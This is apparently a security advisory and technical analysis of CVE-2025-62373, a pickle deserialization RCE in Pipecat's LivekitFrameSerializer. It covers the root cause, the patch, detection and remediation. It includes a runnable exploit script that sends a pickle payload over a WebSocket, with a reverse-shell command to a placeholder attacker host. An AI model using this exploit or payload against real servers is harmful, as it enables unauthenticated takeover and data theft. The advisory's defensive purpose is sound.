CVE-2025-62373: Pipecat LiveKit Serializer RCE via Unsafe pickle.loads()
Pipecat versions 0.0.41–0.0.93 pass untrusted WebSocket data directly into pickle.loads() in LivekitFrameSerializer.deserialize(), enabling unauthenticated RCE against any server using this serializer.
# The Hidden Danger in Popular Voice Chat Software
Pipecat is a widely-used tool that helps developers build voice-powered applications—think chatbots you can talk to, or AI assistants you interact with by voice. A serious flaw has been discovered that could let hackers take complete control of servers running this software.
Here's what's happening: Pipecat uses something called "serialization" to send data between the user's browser and the server—basically, it's translating information into a format that can travel over the internet. The problem is that the software trusts this data completely without checking if it's genuine. It's like opening a package from a stranger without verifying where it came from.
An attacker can craft a malicious package and send it to the server. When the server tries to process it, the attacker's code runs automatically. The attacker now controls the entire server—they can steal data, install malware, or use your server to attack other systems.
This affects companies and developers using Pipecat's "LivekitFrameSerializer" feature, particularly those building voice applications with real-time communication. Anyone relying on older versions of the software (0.0.41 through 0.0.93) is vulnerable.
Here's what you should do: If you're a developer using Pipecat, immediately update to a patched version beyond 0.0.93. If you manage servers running this software, check your deployments now—don't wait. If you're a user of apps built with Pipecat, you're likely already protected if developers have updated their code, but consider reaching out to ask if they're running the latest version.
The good news: this hasn't been actively exploited in the wild yet, giving developers time to fix it.
Want the full technical analysis? Click "Technical" above.
CVE-2025-62373 is a critical (CVSS 9.8) unauthenticated remote code execution vulnerability in Pipecat, an open-source Python framework for real-time voice and multimodal conversational agents. The bug lives in LivekitFrameSerializer, an optional, non-default, and previously undocumented serializer class introduced for LiveKit WebRTC integration. Any Pipecat server that instantiates this class and exposes a WebSocket endpoint is fully compromised by a single crafted message — no authentication, no interaction beyond the initial connection.
The vulnerability is textbook: pickle.loads() called on raw, attacker-supplied bytes with zero validation. Python's pickle protocol is not a data format — it is an instruction stream for the Python VM. Deserializing attacker-controlled pickle data is equivalent to eval() on attacker-controlled Python. The severity ceiling is the OS user running the Pipecat process.
Root cause:LivekitFrameSerializer.deserialize() at src/pipecat/serializers/livekit.py:73 passes raw WebSocket frame bytes directly into pickle.loads() without any type checking, HMAC verification, or allowlist-based deserialization.
Affected Component
Package:pipecat-ai
File:src/pipecat/serializers/livekit.py
Class:LivekitFrameSerializer
Method:deserialize(frame_data: bytes) -> Frame
Affected versions: 0.0.41 through 0.0.93 (inclusive)
Fixed in: 0.0.94 (class deprecated and pickle removed)
Trigger: Any WebSocket client that can reach the Pipecat server and send a binary frame
Root Cause Analysis
The serializer class follows Pipecat's FrameSerializer interface, which requires a deserialize() method. The implementation for the LiveKit variant chose pickle for wire encoding — a decision that unconditionally trusts the wire.
# src/pipecat/serializers/livekit.py (versions 0.0.41 – 0.0.93)
# Approximate reconstruction from patch diff and advisory
import pickle
from pipecat.frames.frames import Frame
from pipecat.serializers.base_serializer import FrameSerializer
class LivekitFrameSerializer(FrameSerializer):
"""
Serializer for LiveKit WebSocket transport.
WARNING (post-patch note): This class is now deprecated.
"""
def serialize(self, frame: Frame) -> bytes:
return pickle.dumps(frame)
async def deserialize(self, data: bytes) -> Frame:
# BUG: `data` originates directly from WebSocket recv() —
# no HMAC, no magic-byte check, no class allowlist.
# pickle.loads() will execute __reduce__ on any embedded
# object, giving the sender arbitrary code execution.
frame = pickle.loads(data) # ← CVE-2025-62373
return frame
The call site in the WebSocket transport layer passes the raw message body straight through:
# src/pipecat/transports/network/livekit.py (approximate, pre-patch)
async def _recv_loop(self):
async for message in self._websocket:
if isinstance(message, bytes):
# message.data is attacker-controlled bytes from the wire
frame = await self._serializer.deserialize(message)
await self._internal_queue.put(frame)
The deserialization happens before any frame-level processing, authentication, or session validation. There is no outer try/except that could limit impact — a malicious __reduce__ fires synchronously inside pickle.loads(), before the return value is ever inspected.
Exploitation Mechanics
Python's pickle opcode REDUCE (opcode R, 0x52) invokes a callable with a tuple of arguments at deserialization time. The canonical exploit payload uses os.system or subprocess.Popen as the callable. No memory corruption required — this is pure logic exploitation.
# exploit.py — weaponized pickle payload generator
# Targets any Pipecat server using LivekitFrameSerializer
import pickle
import os
import websockets
import asyncio
# Payload class: __reduce__ returns a (callable, args) tuple
# that pickle.loads() will invoke unconditionally.
class RCEPayload:
def __init__(self, cmd: str):
self.cmd = cmd
def __reduce__(self):
# pickle will call os.system(self.cmd) on the target
return (os.system, (self.cmd,))
def build_payload(cmd: str) -> bytes:
return pickle.dumps(RCEPayload(cmd))
async def exploit(target_ws_url: str, cmd: str):
payload = build_payload(cmd)
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Pickle opcodes (hex): {payload.hex()}")
async with websockets.connect(target_ws_url) as ws:
print(f"[*] Connected to {target_ws_url}")
await ws.send(payload) # binary frame → directly into pickle.loads()
print("[+] Payload delivered. Check your listener.")
# Example: reverse shell
CMD = "bash -c 'bash -i >& /dev/tcp/attacker.tld/4444 0>&1'"
asyncio.run(exploit("ws://target:8765/ws", CMD))
EXPLOIT CHAIN:
1. Attacker identifies a Pipecat server with LivekitFrameSerializer enabled
(port scan for default WebSocket ports; 8765 common in Pipecat examples)
2. Attacker establishes a raw WebSocket connection — no credentials required,
no handshake beyond standard HTTP upgrade
3. Attacker crafts a pickle payload embedding os.system() as the REDUCE target
with an arbitrary shell command as the argument string
4. Attacker sends payload as a single binary WebSocket frame (63–200 bytes)
5. Server-side _recv_loop() receives bytes and calls:
await self._serializer.deserialize(message)
which calls:
pickle.loads(data) ← REDUCE fires here
6. pickle VM executes REDUCE opcode: calls os.system(attacker_cmd)
— this is synchronous, blocking, executes as the server process user
7. Attacker receives reverse shell / command output with full server privileges
Total time from connection to code execution: < 100ms
Payload size: 63 bytes minimum
Authentication required: None
Memory Layout
Unlike memory corruption CVEs, this vulnerability operates at the language runtime level. The relevant "memory state" is the Python VM's call stack and object heap at the moment pickle.loads() processes the REDUCE opcode:
PYTHON VM STATE — pickle.loads() processing attacker frame
CPython call stack (simplified):
[0] os.system("bash -c 'bash -i >& /dev/tcp/...'") ← attacker code executing
[1] pickle.loads.__reduce_ex__ dispatch
[2] _Unpickler.load_reduce() ← REDUCE opcode handler, cpython/Lib/pickle.py:1223
[3] _Unpickler.load() ← main dispatch loop
[4] LivekitFrameSerializer.deserialize(data=)
[5] _recv_loop() ← asyncio task, pipecat transport
[6] asyncio event loop
pickle._Unpickler internal state at REDUCE:
self.stack[-2] = ← GLOBAL opcode resolved 'os.system'
self.stack[-1] = ('bash -c ...',) ← MARK..TUPLE built from wire data
dispatch[REDUCE]():
func = self.stack[-2] # os.system — no allowlist check
args = self.stack[-1] # attacker-controlled string
obj = func(*args) # EXECUTION HAPPENS HERE
self.stack[-2] = obj
The fix in 0.0.94 deprecates LivekitFrameSerializer entirely and removes the pickle-based serialization path. The recommended replacement is protobuf-based serialization, which is schema-bound and cannot embed executable callables.
# AFTER (patched, 0.0.94):
# src/pipecat/serializers/livekit.py
import warnings
from pipecat.serializers.base_serializer import FrameSerializer
class LivekitFrameSerializer(FrameSerializer):
"""
DEPRECATED: This class has been removed due to CVE-2025-62373.
Use protobuf-based serialization via ProtobufFrameSerializer instead.
"""
def __init__(self):
warnings.warn(
"LivekitFrameSerializer is deprecated and unsafe. "
"Use ProtobufFrameSerializer. See CVE-2025-62373.",
DeprecationWarning,
stacklevel=2
)
def serialize(self, frame: Frame) -> bytes:
raise NotImplementedError(
"LivekitFrameSerializer has been removed due to CVE-2025-62373. "
"Migrate to ProtobufFrameSerializer."
)
async def deserialize(self, data: bytes) -> Frame:
raise NotImplementedError(
"LivekitFrameSerializer has been removed due to CVE-2025-62373. "
"Migrate to ProtobufFrameSerializer."
)
# Correct replacement pattern:
# from pipecat.serializers.protobuf import ProtobufFrameSerializer
# serializer = ProtobufFrameSerializer()
# Protobuf deserialization is schema-bound; no callable dispatch possible.
The protobuf replacement is the correct architectural fix. Protobuf's wire format encodes typed fields — it cannot represent Python callables, __reduce__ hooks, or arbitrary object graphs. Even a malicious sender cannot inject executable logic through a well-defined protobuf schema.
Detection and Indicators
Static detection: Grep for LivekitFrameSerializer instantiation anywhere in the codebase. Any import of this class in versions ≤ 0.0.93 is a confirmed vulnerable configuration.
# Detection queries
# 1. Python source / grep
grep -rn "LivekitFrameSerializer" /path/to/project/
grep -rn "from pipecat.serializers.livekit import" /path/to/project/
# 2. pip freeze — check installed version
pip show pipecat-ai | grep Version
# Vulnerable if Version: 0.0.41 through 0.0.93
# 3. Runtime: unusual child processes spawned by pipecat worker
# On Linux, watch for pipecat spawning shells:
auditd rule: -a always,exit -F arch=b64 -S execve \
-F ppid=$(pgrep -f pipecat) -k pipecat_exec
# 4. Network IOC: WebSocket binary frames < 200 bytes containing
# pickle magic bytes 0x80 0x04 or 0x80 0x05 at offset 0
# Frame header fingerprint:
PICKLE_PROTO4_MAGIC = b'\x80\x04'
PICKLE_PROTO5_MAGIC = b'\x80\x05'
# Any such frame reaching a Pipecat WebSocket endpoint should alert.
Runtime indicator: Unexpected child processes (shells, curl, wget, nc) with parent PID matching the Pipecat server process are the primary post-exploitation signal. The os.system() call forks synchronously inside the asyncio event loop, briefly blocking the transport.
Remediation
Immediate: Upgrade to pipecat-ai >= 0.0.94. This is the only supported fix.
pip install --upgrade "pipecat-ai>=0.0.94"
If upgrade is not immediately possible: Remove all instantiations of LivekitFrameSerializer from your codebase and block untrusted WebSocket connections at the network perimeter. There is no safe way to sanitize pickle input — do not attempt to filter opcodes manually; the pickle VM has multiple equivalent paths to REDUCE.
Migration path: Replace LivekitFrameSerializer with ProtobufFrameSerializer as documented in the 0.0.94 release notes. Protobuf serialization provides equivalent wire efficiency with no code execution surface.
Defense-in-depth: Even after patching, Pipecat server processes should run as dedicated low-privilege OS users with seccomp profiles that deny execve(), fork(), and socket operations outside the expected set. This limits blast radius if a future deserialization bug surfaces in any dependency.
Key takeaway:pickle must never be used to deserialize data from any network boundary — the Python documentation explicitly warns against this, yet it surfaces repeatedly in production code. If you maintain a Python service that processes network data: audit every pickle.loads(), yaml.load(), and marshal.loads() call in your dependency tree, not just your own code.